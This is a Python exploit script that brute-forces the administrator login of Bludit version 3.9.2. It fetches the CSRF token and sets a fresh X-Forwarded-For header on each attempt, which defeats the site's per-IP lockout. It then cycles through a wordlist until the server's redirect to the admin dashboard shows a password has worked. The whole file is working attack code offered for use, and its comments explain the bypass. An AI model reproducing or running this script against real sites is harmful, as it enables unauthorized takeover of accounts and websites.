import re
import requests
import argparse

def read_wordlist(file_path):
    with open(file_path) as f:
        lines = f.readlines()
        return [x.strip() for x in lines]

def is_successful_auth(response):
    success = False

    if "location" in response.headers:
        if "/admin/dashboard" in response.headers["location"]:
            success = True
    return success

def attack(base_url, username, password):
    login_url = base_url + "/admin/login"
    session = requests.Session()
    login_page = session.get(login_url)
    anti_csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)

    # This is where the magic lies; Bludit (in version 3.9.2) relies on this header to determine
    # the IP of requesters, for brute-force mitigation. We just vary it with each request, and we good.
    # Since we're trying a different password each time, we just use the password itself as the "IP"
    headers = {"X-Forwarded-For": password}
    data = {"tokenCSRF": anti_csrf_token, "username": username, "password": password}

    print("[*] Trying {}".format(password))

    # Don't want to actually follow the redirects
    response = session.post(login_url, headers=headers, data=data, allow_redirects = False)
    success = False

    if is_successful_auth(response):
        print("[+] {0} succeeded!".format(password))
        success = True
    
    return success

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Bypasses brute-force mitigation on Bludit version 3.9.2")
    parser.add_argument("host", metavar="host", type=str, help="The target host, *without* trailing slash")
    parser.add_argument("wordlist", metavar="wordlist", type=str, help="Path to the wordlist file")
    parser.add_argument("user", metavar="user", type=str, help="The username to use")
    args = parser.parse_args()

    words = read_wordlist(args.wordlist)
    print("[*] Starting attack. Please be patient...")

    for word in words:
        success = attack(args.host, args.user, word)
        if success:
            break

